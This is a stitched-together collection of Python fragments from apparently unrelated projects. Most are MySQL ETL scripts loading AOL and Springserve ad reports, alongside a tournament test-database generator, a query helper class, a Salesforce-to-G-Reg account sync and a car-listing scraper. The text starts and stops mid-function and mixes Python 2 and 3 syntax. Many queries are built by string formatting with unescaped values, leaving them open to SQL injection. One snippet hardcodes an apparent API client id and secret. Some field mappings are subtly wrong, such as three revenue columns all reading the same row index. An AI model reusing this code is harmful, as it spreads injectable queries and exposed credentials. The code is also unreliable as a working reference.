result = aol_api.run_existing_report(logintoken, str(report))
#print(result)
if len(result) == 0:
break
if len(result) >= 1:
if db_updated == False:
sql = "DROP TABLE IF EXISTS " + p_name + "_inventorysources"
cursor.execute(sql)
sql = "CREATE TABLE " + p_name + "_inventorysources (date varchar(25), inventory_source varchar(255), \
ad_opportunities bigint, ad_attempts bigint, ad_impressions bigint, ad_revenue decimal(15, 5), \
ecpm decimal(15, 5), platform int)"
cursor.execute(sql)
db_updated = True
print(
str(todaysdate) + " Running " + p_name +
"_inventorysources id_" + str(p_id) + " with report # " +
str(report))
for x in json.loads(result)['data']:
date = x['row'][0]
inventory_source = x['row'][1]
ad_opportunities = x['row'][2]
ad_attempts = x['row'][3]
ad_impressions = x['row'][4]
ad_revenue = x['row'][5]
ecpm = x['row'][6]
platform = str(p_id)
list = (date, inventory_source, ad_opportunities, ad_attempts, ad_impressions, ad_revenue, ecpm, \
platform)
#print(list)
sql = """INSERT INTO """ + p_name + """_inventorysources VALUES ("%s", "%s", "%s", "%s", "%s", "%s", \
"%s", "%s")""" % (date, inventory_source, ad_opportunities, ad_attempts, ad_impressions, \
ad_revenue, ecpm, platform)
cursor.execute(sql)
cursor.execute('commit')
else:
print('Connection failed.')
except Error as error:
print(error)
finally:
conn.close()
class Generator:
def __init__(self, dbName: str):
self.ctx = Context(dbName)
self.conn = MySQLConnection(host=self.ctx.dbHost, user=self.ctx.dbUser, password=self.ctx.dbPassword)
if not self.conn.is_connected():
raise Exception("not connected to db")
self.cursor = self.conn.cursor()
def __del__(self):
if self.conn.is_connected():
self.conn.disconnect()
def createDB(self):
# start from a clean sheet
self._dropDB()
self._createDB()
self._useDB()
self._doBasicSetup()
# insert data into tables
self._fillDivisions()
self._fillRounds()
self._fillTeams()
self._fillRankings()
self._fillMatchups()
self._fillLocations()
self._fillSlots()
self._fillGames()
def _lockTable(self, table):
self.cursor.execute("LOCK TABLES `" + table + "` WRITE")
def _unlockTables(self):
self.cursor.execute("UNLOCK TABLES")
def _dropDB(self):
try:
self.cursor.execute("DROP DATABASE " + self.ctx.dbName)
except DatabaseError as error:
pass
def _createDB(self):
self.cursor.execute("CREATE DATABASE " + self.ctx.dbName)
def _useDB(self):
self.cursor.execute("USE " + self.ctx.dbName)
def _insert(self, table: str, data):
try:
self._lockTable(table)
query = "INSERT INTO `" + table + "` VALUES ("
assert(len(data) > 0)
for value in data[0]:
query += "%s, "
query = query[0:-2] # drop trailing ',', or else MySQL will mimimi
query += ")"
for item in data:
self.cursor.execute(query, item)
finally:
self._unlockTables()
def _doBasicSetup(self):
setupFile = open("./setupDB.sql")
results = self.conn.cmd_query_iter(setupFile.read())
for item in results:
pass
def _fillDivisions(self):
table = "division"
data = list()
for index, divisionData in enumerate(self.ctx.divisions, 1):
division = divisionData[0]
acronym = division[0:min(3, len(division))]
color = "#ff8000"
optimized = 1 # 1: swiss game scheduler will be applied
data.append((index, division, acronym, color, optimized))
self._insert(table, data)
def _fillRounds(self):
# TODO make first round accepted (this is how it is done in reality)
table = "round"
data = list()
roundId = 1
for divisionId in range(1, len(self.ctx.divisions)+1):
for fixNextGameTimeIndex in range(0, self.ctx.rounds):
roundNumber = fixNextGameTimeIndex
roundColor = "#0000ff"
divisionName = self.ctx.divisions[divisionId-1][0]
roundGroup = divisionName + "_" + str(roundNumber)
roundGroupOrder = 0
roundState = 0 # 0: unknown
fixNextGameTime = self.ctx.fixNextGameTimes[divisionId-1][fixNextGameTimeIndex]
swissDrawGames = 1 # 1: this round contains swiss draw games
swissDrawRanking = 1
swissDrawMatchup = 1
data.append((roundId, divisionId, roundNumber, roundColor, roundGroup, roundGroupOrder, roundState,
fixNextGameTime, swissDrawGames, swissDrawRanking, swissDrawMatchup))
roundId += 1
self._insert(table, data)
def _fillTeams(self):
table = "team"
data = list()
offsetTeamId = 1
for divisionId, division in enumerate(self.ctx.divisions, 1):
maxTeamId = division[1]
for teamId in range(offsetTeamId, offsetTeamId + maxTeamId):
name = str(teamId) + "_" + str(divisionId)
acronym = str(teamId)
seed = teamId - offsetTeamId
city = "DummyTown"
color = "#00ff00"
data.append((teamId, divisionId, name, acronym, seed, city, color))
offsetTeamId += maxTeamId
self._insert(table, data)
def _fillRankings(self):
table = "ranking"
data = list()
offsetTeamId = 1
for divisionId, division in enumerate(self.ctx.divisions, 1):
maxTeamId = division[1]
rank = 0
for teamId in range(offsetTeamId, offsetTeamId + maxTeamId):
rankingId = teamId
round = 1
roundId = (divisionId-1) * self.ctx.rounds + round
data.append((rankingId, teamId, rank, roundId, divisionId))
rank += 1
offsetTeamId += maxTeamId
self._insert(table, data)
def _fillMatchups(self):
table = "matchup"
data = list()
offsetMatchupId = 1
for division in self.ctx.divisions:
maxMatchupId = int(division[1] / 2)
for matchupId in range(offsetMatchupId, offsetMatchupId + maxMatchupId):
teamId1 = (matchupId * 2) - 1
teamId2 = teamId1 + 1
# the score should be irrelevant for integration testing
score1 = 10
score2 = 10
timeouts1 = 0
timeouts2 = 0
data.append((matchupId, teamId1, teamId2, score1, score2, timeouts1, timeouts2))
offsetMatchupId += maxMatchupId
self._insert(table, data)
def _fillLocations(self):
table = "location"
data = list()
for locationId, location in enumerate(self.ctx.locations, 1):
name = location[0]
description = "__" + name + "__"
color = "#00ff00"
latitude = 52.0
longitude = 5.0
location_gym = 1
data.append((locationId, name, description, color, latitude, longitude, location_gym))
self._insert(table, data)
def _fillSlots(self):
table = "slot"
data = list()
for slotId, slot in enumerate(self.ctx.slots, 1):
#divisionId = slot[0]
locationId = slot[1]
start = slot[2]
end = slot[3]
round = slot[4]
name = "__" + str(slotId) + "__"
description = name
alternateText = name
data.append((slotId, locationId, start, end, round, name, description, alternateText))
self._insert(table, data)
def _fillGames(self):
table = "game"
data = list()
gameId = 1
for division in self.ctx.divisions:
for i in range(0, int(division[1] / 2)):
matchupId = gameId
slotId = gameId
notYetStarted = 0
gameState = notYetStarted
data.append((gameId, matchupId, slotId, gameState))
gameId += 1
self._insert(table, data)
def connect():
#"""Gets Springserve data and writes to MySQL table"""
db = "mysql_dp"
api = "springs"
# Connect to DB:
db_config = read_db_config(db)
try:
print('Connecting to databsae...')
conn = MySQLConnection(**db_config)
if conn.is_connected():
print('Connection established.')
cursor = conn.cursor()
# Create Table:
sql = "DROP TABLE IF EXISTS springserve_inventoryreport"
cursor.execute(sql)
sql = "CREATE TABLE springserve_inventoryreport (date varchar(25), sourceID varchar(10), supply_source varchar(255), \
country varchar(255), ad_opportunities bigint, ad_impressions bigint, revenue decimal(15, 5), platform int)"
cursor.execute(sql)
# call to get logintoken
logintoken = springs_api.get_logintoken(api)
print(logintoken)
jsoninfo = {
"date_range": "Yesterday",
"interval": "day",
"timezone": "America/Los_Angeles",
"dimensions": ["supply_tag_id", "country"],
#"reportFormat": "JSON",
#"start_date": "2017-06-09",
#"end_date": "2017-06-09",
#"sort": [{ "field": "ad_revenue", "order": "desc"}]
}
result = springs_api.get_data(logintoken, jsoninfo)
#print(result.text)
info = json.loads(result.text)
#print(info)
# use default to populate null data
default = 'Not Applicable'
for x in info:
date1 = x['date']
date = date1[:10]
source_id = x['supply_tag_id']
supply_source = x['supply_tag_name']
country = x.get('country_code', default)
ad_opportunities = x['total_requests']
ad_impressions = x['total_impressions']
revenue = x['revenue']
platform = 7
list = (date, source_id, supply_source, country,
ad_opportunities, ad_impressions, revenue, platform)
#print(list)
sql = """INSERT INTO springserve_inventoryreport VALUES ("%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s")""" % \
(date, source_id, supply_source, country, ad_opportunities, ad_impressions, revenue, platform)
cursor.execute(sql)
cursor.execute('commit')
else:
print('Connection failed.')
except Error as error:
print(error)
finally:
conn.close()
print('Connection closed.')
def connect():
# """Gets AOL Data and writes them to a MySQL table"""
db = "mysql_sa"
platform = "adsym"
report = "197789"
platforms = ["adsym", "adtrans", "dc", "tm"]
#platform = ("adsym", "adtrans", "dc", "tm")
report_book = [197789, 197863, 197788, 197791]
# Connect To DB:
db_config = read_db_config(db)
try:
print('Connecting to database...')
conn = MySQLConnection(**db_config)
if conn.is_connected():
print('Connection established')
cursor = conn.cursor()
for platform, report in zip(platforms, report_book):
print("Running " + str(platform) +
"_site addition with report # " + str(report))
sql = "DROP TABLE IF EXISTS " + str(
platform) + "_site_addition"
cursor.execute(sql)
sql = "CREATE TABLE " + str(
platform
) + "_site_addition (media varchar(255), ad_revenue decimal(15, 5))"
cursor.execute(sql)
# calls get_access_token function and starts script
logintoken = aol_api.get_access_token(platform)
print(logintoken)
result = aol_api.run_existing_report(logintoken, str(report))
#print(result)
info = json.loads(result)
#print(info)
for x in json.loads(result)['data']:
media = x['row'][0]
ad_revenue = x['row'][1]
list = (media, ad_revenue)
#print(list)
sql = """INSERT INTO """ + str(
platform
) + """_site_addition VALUES ("%s", "%s")""" % (media,
ad_revenue)
cursor.execute(sql)
cursor.execute('commit')
else:
print('Connection failed.')
except Error as error:
print(error)
finally:
conn.close()
print('Connection closed.')
# except Exception, e:
# logging.error(e, exc_info=True)
batch_size = 1000
niter = len(dtms) / batch_size + 1
for n in range(niter):
dtms_n = dtms[n * batch_size:batch_size * (n + 1)]
command = "SELECT * FROM {tb} " +\
"WHERE (datetime BETWEEN '{stm}' AND '{etm}') AND " +\
"(datetime IN {dtms_n})"
command = command.format(tb=input_table,
stm=stm,
etm=etm,
dtms_n=tuple([str(x) for x in dtms_n]))
# check the db connection before fetching
if not conn_input.is_connected():
conn_input.reconnect()
# fetch the data
try:
print("Fetching data from " + input_table + " for interval between " +\
str(dtms_n[0]) + " and " + str(dtms_n[-1]))
cur_input.execute(command)
rows = cur_input.fetchall()
except Exception, e:
logging.error(e, exc_info=True)
# insert the data into the output table
if rows:
print("Inserting data to " + output_table + " for interval between " +\
str(dtms_n[0]) + " and " + str(dtms_n[-1]))
def connect():
# """Gets AOL Data and writes them to a MySQL table"""
db = "mysql_sl"
api = "tm"
# Connect to DB:
db_config = read_db_config(db)
try:
print('Connecting to database...')
conn = MySQLConnection(**db_config)
if conn.is_connected():
print('Connection established.')
cursor = conn.cursor()
sql = "DROP TABLE IF EXISTS tm_market_last60"
cursor.execute(sql)
sql = "CREATE TABLE tm_market_last60 (date varchar(50), buyer_organization varchar(255), inventory_source varchar(255), \
market_opportunities bigint, ad_attempts bigint, ad_impressions bigint, ad_errors bigint, ad_revenue decimal(15, 5), \
aol_cost decimal(15, 5), epiphany_gross_revenue decimal(15, 5), tm_revenue decimal(15, 5), total_clicks int, \
iab_viewability_measurable_ad_impressions bigint, iab_viewable_ad_impressions bigint, platform int)"
cursor.execute(sql)
# calls get_access_token function and starts script
logintoken = aol_api.get_access_token(api)
print(logintoken)
result = aol_api.run_existing_report(logintoken, "169839")
#print(result)
info = json.loads(result)
#print(info)
for x in json.loads(result)['data']:
date = x['row'][0]
buyer_organization = x['row'][1]
inventory_source = x['row'][2]
market_opportunities = x['row'][3]
ad_attempts = x['row'][4]
ad_impressions = x['row'][5]
ad_errors = x['row'][6]
ad_revenue = x['row'][7]
aol_cost = x['row'][7]
epiphany_gross_revenue = x['row'][7]
tm_revenue = x['row'][7]
total_clicks = x['row'][8]
iab_viewability_measurable_ad_impressions = x['row'][9]
iab_viewable_ad_impressions = x['row'][10]
platform = '5'
list = (date, buyer_organization, inventory_source, market_opportunities, ad_attempts, ad_impressions, \
ad_errors, ad_revenue, aol_cost, epiphany_gross_revenue, tm_revenue, total_clicks, \
iab_viewability_measurable_ad_impressions, iab_viewable_ad_impressions, platform)
#print(list)
sql = """INSERT INTO tm_market_last60 VALUES ("%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s"*.20, "%s"*.64, \
"%s"*.24, "%s", "%s", "%s", "%s")""" % (date, buyer_organization, inventory_source, market_opportunities, \
ad_attempts, ad_impressions, ad_errors, ad_revenue, aol_cost, epiphany_gross_revenue, tm_revenue, \
total_clicks, iab_viewability_measurable_ad_impressions, iab_viewable_ad_impressions, platform)
cursor.execute(sql)
cursor.execute('commit')
else:
print('Connection failed')
except Error as error:
print(error)
finally:
conn.close()
print('Connections closed.')
def connect():
# """Gets AOL Data and writes them to a MySQL table"""
db = "mysql_eom"
# Connect To DB:
db_config = read_db_config(db)
try:
print('Connecting to database...')
conn = MySQLConnection(**db_config)
if conn.is_connected():
print('Connection established')
cursor = conn.cursor()
sql = "DROP TABLE IF EXISTS dc_inventoryreport_EOM"
cursor.execute(sql)
sql = "CREATE TABLE dc_inventoryreport_EOM (date varchar(50), inventory_source varchar(255), geo_country varchar(50), \
ad_opportunities bigint, ad_attempts bigint, ad_impressions bigint, \
ad_revenue decimal(15, 5), ecpm decimal(15, 5), platform int)"
cursor.execute(sql)
# calls get_access_token function and starts script
logintoken = aol_api.get_access_token(
"0e30062d-6746-4a9b-882a-3f61185479c7",
"9O7SnFq/yDbNK+4M2bkSqg")
print(logintoken)
result = aol_api.run_existing_report(logintoken, "193891")
#print(result)
info = json.loads(result)
#print(info)
for x in json.loads(result)['data']:
date = x['row'][0]
inventory_source = x['row'][1]
geo_country = x['row'][2]
ad_opportunities = x['row'][3]
ad_attempts = x['row'][4]
ad_impressions = x['row'][5]
ad_revenue = x['row'][6]
ecpm = x['row'][7]
platform = '2'
list = (date, inventory_source, geo_country, ad_opportunities, ad_attempts, ad_impressions, ad_revenue, ecpm, \
platform)
#print(list)
sql = """INSERT INTO dc_inventoryreport_EOM VALUES ("%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s")""" % \
(date, inventory_source, geo_country, ad_opportunities, ad_attempts, ad_impressions, ad_revenue, ecpm, \
platform)
cursor.execute(sql)
cursor.execute('commit')
else:
print('Connection failed.')
except Error as error:
print(error)
finally:
conn.close()
print('Connection closed.')
def connect():
# """Gets AOL Data and writes them to a MySQL table"""
db = "mysql_dl"
api = "dc"
# Connect To DB:
db_config = read_db_config(db)
try:
print('Connecting to database...')
conn = MySQLConnection(**db_config)
if conn.is_connected():
print('Connection established.')
cursor = conn.cursor()
# calls get_access_token function and starts script
logintoken = aol_api.get_access_token(api)
print(logintoken)
result = aol_api.run_existing_report(logintoken, "190589")
#print(result)
info = json.loads(result)
#print(info)
for x in json.loads(result)['data']:
rownum = ''
date = x['row'][0]
inventory_source = x['row'][1].replace("'", " -").replace('"', "")
geo_country = x['row'][2].replace("'", "")
media = x['row'][3].replace('"', "").replace("'", "")
ad_opportunities = x['row'][4]
ad_attempts = x['row'][5]
ad_impressions = x['row'][6]
ad_revenue = x['row'][7]
ecpm = x['row'][8]
ad_errors = x['row'][9]
iab_viewability_measurable_ad_impressions = x['row'][10]
iab_viewable_ad_impressions = x['row'][11]
market_ops = x['row'][12]
clicks = x['row'][13].replace(" ", "0")
list = (rownum, date, inventory_source, geo_country, media, ad_opportunities, ad_attempts, ad_impressions, \
ad_revenue, ecpm, ad_errors, iab_viewability_measurable_ad_impressions, iab_viewable_ad_impressions, market_ops, clicks)
#print(list)
sql = """INSERT INTO dc_InventorySources_v2 VALUES ("%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", \
"%s", "%s", "%s", "%s")""" % (rownum, date, inventory_source, geo_country, media, ad_opportunities, ad_attempts, ad_impressions, \
ad_revenue, ecpm, ad_errors, iab_viewability_measurable_ad_impressions, iab_viewable_ad_impressions, market_ops, clicks)
cursor.execute(sql)
cursor.execute('commit')
else:
print('Connection failed.')
except Error as error:
print(error)
finally:
conn.close()
print('Connection closed.')
def connect():
# """Gets AOL Data and writes them to a MySQL table"""
db = "mysql_dp"
api = "tm"
# Connect To DB:
db_config = read_db_config(db)
try:
print('Connecting to database...')
conn = MySQLConnection(**db_config)
if conn.is_connected():
print('Connection established.')
cursor = conn.cursor()
sql = "DROP TABLE IF EXISTS tm_market_public"
cursor.execute(sql)
sql = "CREATE TABLE tm_market_public (date varchar(25), inventory_source varchar(255), geo_country varchar(50), \
buyer_organization varchar(100), ad_opportunities varchar(2), ad_attempts bigint, ad_impressions bigint, \
ad_revenue decimal(15, 5), ecpm decimal(6, 4), media_spend decimal(15, 5), completed_views int, clicks int, \
platform int)"
cursor.execute(sql)
# calls get_access_token function and starts script
logintoken = aol_api.get_access_token(api)
print(logintoken)
result = aol_api.run_existing_report(logintoken, "169372")
#print(result)
info = json.loads(result)
#print(info)
for x in json.loads(result)['data']:
date = x['row'][0]
inventory_source = x['row'][1].replace("'", " -")
geo_country = x['row'][2].replace(",", " -")
buyer_organization = x['row'][3].replace('"', " ")
ad_opportunities = '0'
ad_attempts = x['row'][5]
ad_impressions = x['row'][6]
ad_revenue = x['row'][7]
ecpm = x['row'][8]
media_spend = x['row'][9]
completed_views = x['row'][10]
clicks = x['row'][11].replace(" ", "0")
platform = '5'
list = (date, inventory_source, geo_country, buyer_organization, ad_opportunities, ad_attempts, ad_impressions, \
ad_revenue, ecpm, media_spend, completed_views, clicks, platform)
#print(list)
sql = """INSERT INTO tm_market_public VALUES ("%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", \
"%s", "%s", "%s")""" % (date, inventory_source, geo_country, buyer_organization, ad_opportunities, \
ad_attempts, ad_impressions, ad_revenue, ecpm, media_spend, completed_views, clicks, platform)
cursor.execute(sql)
cursor.execute('commit')
else:
print('Connection failed.')
except Error as error:
print(error)
finally:
conn.close()
print('Connection closed.')
class Connector:
# List all class variables here, so they are in one spot.
conn = None
cursor = None # The connection cursor.
config_file = None # The file with MySQL credentials.
section = None # The section to read from the config file.
suffix = None
def __init__(self, config='config.ini', section='mysql'):
self.config_file = config
self.section = section
# Try connecting.
self.__connect()
def __del__(self):
# Close the connection.
if self.conn is not None and self.conn.is_connected():
print('Connection closed')
self.conn.close()
def __read_db_config(self):
'''
Read the database config file and return a dictionary of the read values.
'''
# Read the config file.
parser = ConfigParser()
parser.read(self.config_file)
# Read the desired section.
db = {}
if parser.has_section(self.section):
items = parser.items(self.section)
for item in items:
db[item[0]] = item[1]
else:
raise Exception(
f'{self.section} not found in the file {self.config_file}')
return db
def __connect(self):
'''
Try connecting to the MySQL database with credentials given in
self.config_file.
'''
db_config = self.__read_db_config()
try:
print('Connecting to database ...')
self.conn = MySQLConnection(**db_config)
if self.conn.is_connected():
print('Connection established')
self.cursor = self.conn.cursor()
else:
print('Connection failed')
except Error as error:
print(error)
def select_column(self, field, table):
data = []
''' Select data from a column in a table '''
try:
cmd = f"SELECT {field} FROM {table} WHERE {field} <> '';"
self.cursor.execute(cmd)
for item in self.cursor:
data.append(item[0])
return data
except Error as error:
print(error)
return data
def select_other_responses(self, table, fields):
'''
Get a dictionary of fields (keys) and the responses typed in
for an "Other" response (value)
'''
d = {}
data = None
try:
for field in fields:
execute_cmd = f"SELECT {field} FROM {table} WHERE {field} like '%other%'"
self.cursor.execute(execute_cmd)
data = self.cursor.fetchall()
d[field] = []
data_lst = [j[0].split(' ') for j in data]
for item in data_lst:
for i in range(1, len(item)):
if item[i - 1] == 'other':
d[field].append(' '.join(item[i:]))
break
except Error as e:
print(e)
return d
def add_suffix(self, suffix):
if suffix is None:
return
if self.suffix is None:
self.suffix = suffix
else:
self.suffix += " " + suffix
def set_query(self, query):
# Add the suffix, if there is one.
if self.suffix is not None:
if 'WHERE' in query:
query += ' AND ' + self.suffix
else:
query += ' WHERE ' + self.suffix
self.cursor.execute(query)
def select_count(self, table, field, field_val):
'''
Get count of number of rows in specified MySQL table
where field = field_val
'''
data = None
try:
execute_cmd = f"SELECT COUNT(*) FROM {table} WHERE {field} REGEXP '(^|.* ){field_val}($| .*)'"
self.set_query(execute_cmd)
data = self.cursor.fetchall()[0][0]
except Error as e:
print(e)
return data
def select_num_rows(self, table):
''' Return the number of entries in the database. '''
data = None
try:
self.set_query(f"SELECT COUNT(*) FROM {table}")
data = self.cursor.fetchall()
except Error as e:
print(e)
return data
def select_all_data(self, table):
'''
Get all data from the specified MySQL table.
table (string): the name of the table to read data from.
'''
data = None
try:
self.set_query(f'SELECT * FROM {table}')
data = self.cursor.fetchall()
except Error as e:
print(e)
return data
def insert_row(self, table, cols, args):
'''
Insert a row into the MySQL specified table.
table (string): the name of the table insert data into.
cols (tuple): the names of the columns to insert data into.
args (tuple): the data to insert; this must match the table's fields.
'''
# Remove any quotation marks around the column names.
strcols = str(cols).replace("'", '').replace('"', '')
query = f'INSERT INTO {table} {strcols} VALUES {str(args)}'
try:
self.cursor.execute(query, ())
self.conn.commit()
except Error as e:
print(e)
def sync_accounts():
""" Connect to MySQL database and sync account details with G-Reg """
db_config = read_config()
conn = None
try:
logger.debug('Connecting to MySQL database...')
conn = MySQLConnection(**db_config)
if conn.is_connected():
logger.debug('Connection established.')
cursor = conn.cursor(buffered=True)
cursor.execute("select distinct(Sub_Region__c) from SF_ACCOUNT")
sub_regions = cursor.fetchall()
logger.debug('Total Distict Sub-regions(s) : {}'.format(
cursor.rowcount))
for sub_region in sub_regions:
# For each sub-region we are going to fetch the customers and prospects
sub_region = sub_region[
0] # Because each row fetched is a tuple
if sub_region == 'null' or sub_region == 'NULL' or sub_region == None:
continue
logger.debug("Checking for region" + sub_region)
account_query = "select Name, Id, Account_Status__c, AnnualRevenue, " + \
"Closed_Won_Opportunity_Value_New__c, Industry, Lost_Date__c, " + \
"BillingCountry, BillingState, Owner, Verified_Lost_Account__c, " + \
"Sales_Regions__c, Sub_Region__c, Region_Bucket__c, Global_POD__c from SF_ACCOUNT " + \
"where Sub_Region__c = \"" + sub_region + "\""
logger.info("Fecthing account of pod : {}, query : {}".format(
sub_region, account_query))
cursor.execute(account_query)
account_rows = cursor.fetchall()
logger.info(
'Total account information found for region {} = {}:'.
format(sub_region, cursor.rowcount))
for row in account_rows:
logger.debug("Account detail : {}".format(str(row)))
if len(row) < 15:
logger.error(
"Requested for at least 15 attributes. But got less than that. Thus skipping..."
)
continue
account_name = row[0] if row[0] is not None else ''
# Checking for any special characters
account_name = re.sub('[@_!#$%^&*()<>?/\|}{~:]', '',
account_name)
account_id = row[1] if row[1] is not None else ''
account_status = row[2] if row[2] is not None else ''
if account_status == 'Lost Customer' or account_status == 'Lost Prospect':
logger.debug(
"Skipping adding {} as it is an already lost customer/prospect"
.format(account_name))
# For now, skipping the already Lost customers and prospects
continue
account_industry = row[5] if row[5] is not None else ''
account_country = row[7] if row[7] is not None else ''
account_am = row[9] if row[9] is not None else ''
account_region = row[11] if row[11] is not None else ''
account_pod = row[12] if row[12] is not None else ''
g_reg_config = read_config('config.ini', 'g-reg')
# Check if the account is already available in the G-Reg
account_response = get_customer_asset(
g_reg_config, account_name)
if account_response.status_code == status.HTTP_200_OK:
# We are checking for an exact name. So we should only expect 1 value
account_response_json = account_response.json()
account_json_obj = account_response_json['assets'][0]
asset_id = account_json_obj.pop('id')
logger.info(
"Custom {} already exists in G-Reg. Assset ID : {}"
.format(account_name, asset_id))
asset_link = account_json_obj.pop('self-link')
asset_content_link = account_json_obj.pop(
'content-link')
account_update_exist = False
(account_json_obj['sales_country'], account_update_exist) = \
(account_country, True) if account_json_obj['sales_country'] != account_country \
else (account_json_obj['sales_country'], account_update_exist)
(account_json_obj['sales_region'], account_update_exist) = \
(account_region, True) if account_json_obj['sales_region'] != account_region \
else (account_json_obj['sales_region'], account_update_exist)
(account_json_obj['sales_pod'], account_update_exist) = \
(account_pod, True) if account_json_obj['sales_pod'] != account_pod \
else (account_json_obj['sales_pod'], account_update_exist)
(account_json_obj['sales_am'], account_update_exist) = \
(account_am, True) if account_json_obj['sales_am'] != account_am \
else (account_json_obj['sales_am'], account_update_exist)
(account_json_obj['sales_businessDomain'], account_update_exist) = \
(account_industry, True) if account_json_obj['sales_businessDomain'] != account_industry \
else (account_json_obj['sales_businessDomain'], account_update_exist)
technical_owner_info = get_primary_technical_owner(
cursor, account_id)
primary_technical_owner = technical_owner_info if technical_owner_info != None else '--- none ---'
(account_json_obj['ownership_primaryTechnicalOwner'], account_update_exist) = \
(primary_technical_owner, True) if account_json_obj['ownership_primaryTechnicalOwner'] != primary_technical_owner \
else (account_json_obj['ownership_primaryTechnicalOwner'], account_update_exist)
arr_info = get_arr(cursor, account_id)
if arr_info != None and len(arr_info) > 1:
if account_json_obj.get('sales_pricingCurrency',
None) == None:
account_json_obj['sales_pricingCurrency'] = ''
(account_json_obj['sales_pricingCurrency'], account_update_exist) = \
(arr_info[0], True) if account_json_obj['sales_pricingCurrency'] != arr_info[0] \
else (account_json_obj['sales_pricingCurrency'], account_update_exist)
if account_json_obj.get('sales_arr', None) == None:
account_json_obj['sales_arr'] = '0.0'
(account_json_obj['sales_arr'], account_update_exist) = \
(arr_info[1], True) if account_json_obj['sales_arr'] != arr_info[1] \
else (account_json_obj['sales_arr'], account_update_exist)
if account_update_exist == True:
logger.debug(
"Updating the customer {} as there are updates"
.format(account_name))
update_customer(g_reg_config, asset_id,
account_json_obj)
customer_status = get_customer_status(
g_reg_config, asset_id)
if customer_status != customer_statuses[
'LOST'] and customer_status != account_status:
if customer_status == customer_statuses[
'PROSPECT']:
change_customer_status(
g_reg_config, asset_id,
customer_status_actions[
'BECAME_A_CUSTOMER'])
if customer_status == customer_statuses[
'CUSTOMER']:
change_customer_status(
g_reg_config, asset_id,
customer_status_actions[
'LOST_TO_COMPETITOR'])
elif account_response.status_code == status.HTTP_404_NOT_FOUND:
account_data_payload = {}
account_data_payload['name'] = account_name
account_data_payload['type'] = 'customer'
# Strip off last three characters from the Id to create the link ID
account_data_payload['sfdcLink'] = g_reg_config[
'sf_url'] + account_id[:-3]
account_data_payload['sales_country'] = account_country
account_data_payload['sales_region'] = account_region
account_data_payload['sales_pod'] = account_pod
account_data_payload['sales_am'] = account_am
account_data_payload[
'sales_businessDomain'] = account_industry.replace(
' & ', ' & ')
arr_info = get_arr(cursor, account_id)
if arr_info != None and len(arr_info) > 1:
account_data_payload[
'sales_pricingCurrency'] = arr_info[0]
account_data_payload['sales_arr'] = arr_info[1]
else:
account_data_payload[
'sales_pricingCurrency'] = 'USD'
account_data_payload['sales_arr'] = '0.0'
technical_owner_info = get_primary_technical_owner(
cursor, account_id)
primary_technical_owner = technical_owner_info if technical_owner_info != None else '--- none ---'
account_data_payload[
'ownership_primaryTechnicalOwner'] = primary_technical_owner
new_customer_resposne = create_new_customer(
g_reg_config, account_data_payload)
# Immediately changing status won't work as G-Reg needs to index the data
# So it's kept to be updated in subsequent syncing
# if new_customer_resposne.status_code == status.HTTP_200_OK or \
# new_customer_resposne.status_code == status.HTTP_201_CREATED:
# new_account_respose = get_customer_asset(g_reg_config, account_name)
# if account_status == "Lost Customer" or account_status == "Customer":
# change_customer_status(g_reg_config, new_account_respose.json()['assets'][0]['id'],
# customer_status_actions['BECAME_A_CUSTOMER'])
# if account_status == "Lost Customer" or account_status == "Lost Prospect":
# change_customer_status(g_reg_config, new_account_respose.json()['assets'][0]['id'],
# customer_status_actions['LOST_TO_COMPETITOR'])
elif account_response.status_code == status.HTTP_401_UNAUTHORIZED:
logger.warn("unauthorized to check for accounts")
else:
logger.error("Something is wrong in the request")
else:
logger.error('Connection failed.')
except Error as error:
logger.error(error)
finally:
if conn is not None and conn.is_connected():
conn.close()
logger.debug('Connection closed.')
def connect():
# """Gets AOL Data and writes them to a MySQL table"""
db = "mysql_sl"
api = "aol"
report_book = [190031, 190032, 190147, 190148]
# Connect To DB:
db_config = read_db_config(db)
try:
print('Connecting to database...')
conn = MySQLConnection(**db_config)
if conn.is_connected():
print('connection established.')
cursor = conn.cursor()
sql = "DROP TABLE IF EXISTS v3_core_today_media"
cursor.execute(sql)
sql = "CREATE TABLE v3_core_today_media (inventory_source varchar(255), media varchar(255), \
ad_opportunities bigint, market_opportunities bigint, ad_attempts bigint, ad_impressions bigint, \
ad_errors bigint, ad_revenue decimal(15, 5), clicks int, iab_viewability_measurable_ad_impressions bigint, \
iab_viewable_ad_impressions bigint)"
cursor.execute(sql)
# calls get_access_token function and starts script
logintoken = aol_api.get_access_token(api)
print(logintoken)
for report in report_book:
result = aol_api.run_existing_report(logintoken, str(report))
#print(result)
info = json.loads(result)
#print(info)
for x in json.loads(result)['data']:
inventory_source = x['row'][0]
media = x['row'][1].replace('"', " ")
ad_opportunities = x['row'][2]
market_opportunities = x['row'][3]
ad_attempts = x['row'][4]
ad_impressions = x['row'][5]
ad_errors = x['row'][6]
ad_revenue = x['row'][7]
clicks = x['row'][8]
iab_viewability_measurable_ad_impressions = x['row'][9]
iab_viewable_ad_impressions = x['row'][10]
list = (inventory_source, media, ad_opportunities, market_opportunities, ad_attempts, ad_impressions, \
ad_errors, ad_revenue, clicks, iab_viewability_measurable_ad_impressions, iab_viewable_ad_impressions)
#print(list)
sql = """INSERT INTO v3_core_today_media VALUES ("%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", \
"%s", "%s", "%s")""" % (inventory_source, media, ad_opportunities, market_opportunities, ad_attempts, \
ad_impressions, ad_errors, ad_revenue, clicks, iab_viewability_measurable_ad_impressions, \
iab_viewable_ad_impressions)
cursor.execute(sql)
cursor.execute('commit')
else:
print('Connection failed')
except Error as error:
print(error)
finally:
conn.close()
print('Connection Closed')
if __name__ == '__main__':
with open('bmw_displacement.json', 'r') as f:
disp_dict = json.load(f)
soup = getPage(sys.argv[1], 0)
legend = soup.find('legend').text.strip()
match = re.search('(\d+) vehicle\(s\) found, (\d+) page\(s\)', legend)
nVehicles = match.group(1)
nPages = match.group(2)
db_config = read_db_config()
try:
conn = MySQLConnection(**db_config)
if conn.is_connected():
cursor = conn.cursor()
store(soup, cursor, sys.argv[1])
for p in range(1, int(nPages)):
soup = getPage(sys.argv[1], p)
store(soup, cursor, sys.argv[1])
else:
print('connection failed')
conn.commit()
except Error as e:
print(e)
finally:
def connect():
# """Gets AOL Data and writes them to a MySQL table"""
db = "mysql_sl"
# Connect To DB:
